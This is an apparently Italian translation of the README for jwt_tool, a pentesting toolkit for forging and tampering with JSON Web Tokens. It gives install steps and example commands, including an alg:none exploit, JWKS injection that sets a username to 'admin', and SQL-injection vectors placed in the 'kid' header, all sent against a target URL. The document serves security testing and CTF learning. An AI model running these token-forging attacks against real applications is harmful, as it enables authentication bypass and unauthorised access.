🐍 Un toolkit per testare, modificare e decifrare JSON Web Tokens
jwt_tool.py è un toolkit per validare, forgiare, scansionare e manomettere JWT (JSON Web Tokens).

Le sue funzionalità includono:
Questo strumento è scritto per pentester, che devono verificare la robustezza dei token in uso e la loro suscettibilità agli attacchi noti. Sono disponibili diverse opzioni di manomissione, firma e verifica per approfondire le potenziali debolezze presenti in alcune librerie JWT.
È stato inoltre utile per i partecipanti a CTF — visto che i CTF sembrano molto interessati ai JWT al momento.
Può essere utile anche per gli sviluppatori che usano JWT nei propri progetti e vogliono testarne la stabilità e le vulnerabilità note quando si utilizzano token forgiati.
Questo strumento è scritto nativamente in Python 3 (versione 3.6+) usando le librerie comuni; tuttavia varie funzioni crittografiche (e la resa grafica/leggibilità generale) richiedono l'installazione di alcune librerie Python comuni.
(Una versione precedente basata su Python 2.x di questo strumento è disponibile sul branch legacy per chi ne avesse bisogno, anche se non è più supportata o aggiornata)
L'uso preferito di jwt_tool è tramite l'immagine Docker ufficiale di jwt_tool ospitata su Dockerhub
Il comando base per eseguirlo è il seguente:
Comando base per eseguire jwt_tool:
docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
Usando il comando sopra puoi aggiungere qualsiasi altro argomento come al solito.
Nota che i file locali nella tua directory di lavoro corrente verranno mappati nella directory /tmp del container Docker, quindi puoi usarli impiegando quel percorso assoluto nei tuoi argomenti.
Es.
/tmp/localfile.txt
L'installazione consiste semplicemente nel scaricare il file jwt_tool.py (oppure fare git clone del repository).
(Eseguire anche chmod sul file se si vuole aggiungerlo al proprio $PATH e richiamarlo da qualsiasi posizione.)
$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install -r requirements.txt
Al primo avvio lo strumento genererà un file di configurazione, alcuni file di utilità, un file di log e un set di chiavi pubbliche e private in vari formati.
jwtconf.ini come valore "jwkloc".Per risolvere i colori non funzionanti in Windows cmd/Powershell: decommenta le due righe seguenti in jwt_tool.py (rimuovi il "# " all'inizio di ogni riga)
Dovrai anche installare colorama: python3 -m pip install colorama
# import colorama
# colorama.init()
Il primo argomento deve essere il JWT stesso (a meno che non venga fornito in un header o in un cookie). Se non si forniscono argomenti aggiuntivi, verranno mostrati i valori decodificati del token per la revisione.
$ python3 jwt_tool.py <JWT>
oppure il comando base Docker:
$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
Il toolkit validerà il token e mostrerà i valori di header e payload.
I numerosi argomenti aggiuntivi ti portano direttamente alla funzione appropriata e ti restituiscono un token pronto per l'uso nei tuoi test.
Ad esempio, per manomettere il token esistente esegui il seguente comando:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T
Molte opzioni richiedono valori aggiuntivi per impostare le opzioni.
Ad esempio, per eseguire un particolare tipo di exploit devi scegliere l'opzione eXploit (-X) e selezionare la vulnerabilità (qui usando "a" per l'exploit alg:none):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a
Alcune opzioni, come la verifica dei token, richiedono parametri/file aggiuntivi (qui fornendo la chiave pubblica in formato PEM):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem
Tutte le modalità ora consentono di inviare il token direttamente a un'applicazione.
È necessario specificare:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M erVengono visualizzate varie risposte dalla richiesta:
Ecco una rapida panoramica di una valutazione di base di un'implementazione JWT. Se con queste opzioni non si ottengono risultati, approfondisci con altre modalità e opzioni per cercare nuove vulnerabilità (o zero-day!).
Leggi il valore del token per farti un'idea dei claim/valori attesi dall'applicazione:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
Esegui una Playbook Scan usando il token fornito direttamente contro l'applicazione per cercare errori di configurazione comuni:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
Se vengono trovate vulnerabilità sfruttabili, modifica i claim rilevanti per provare a sfruttarle (qui usando l'exploit Inject JWKS e iniettando un nuovo nome utente):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Scava più a fondo testando valori e claim inattesi per identificare comportamenti imprevisti dell'app, oppure esegui attacchi sulla logica di programmazione o sull'elaborazione dei token:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
Rivedi qualsiasi exploit riuscito interrogando i log per leggere più dati sulla richiesta e :
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Per un elenco delle opzioni, richiama la funzione di usage:
Alcune opzioni, come la verifica dei token, richiedono parametri/file aggiuntivi:
$ python3 jwt_tool.py -h
Una guida utente più dettagliata è disponibile nella pagina wiki.

Vai al JWT Attack Playbook per una descrizione dettagliata di cosa sono i JWT, cosa fanno, e un flusso di lavoro completo su come testarli a fondo per vulnerabilità, debolezze comuni ed errori di programmazione involontari.
Regex per trovare JWT in Burp Search
(assicurati che le opzioni 'Case sensitive' e 'Regex' siano spuntate)
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - versione JWT url-safe
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - tutte le versioni JWT (maggiore possibilità di falsi positivi)
JWT Attack Playbook (https://github.com/ticarpi/jwt_tool/wiki) - per una metodologia completa di testing dei JWT
Un'ottima introduzione ai JWT - https://jwt.io/introduction/
Gran parte dell'ispirazione iniziale per questo strumento deriva dalle vulnerabilità scoperte da Tim McLean.
Dai un'occhiata al suo blog sulle debolezze dei JWT qui: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
Un'intera serie di esercizi per testare le vulnerabilità dei JWT è fornita da Pentesterlab (https://www.pentesterlab.com). Consiglio vivamente un abbonamento PRO se sei interessato al Pentesting di applicazioni web.
NOTA BENE: Questo toolkit risolverà la maggior parte degli esercizi JWT di Pentesterlab in pochi secondi se usato correttamente, ma ti incoraggio fortemente a svolgere questi esercizi da solo, individuando la struttura e le debolezze. Dopotutto, è tutta una questione di apprendimento...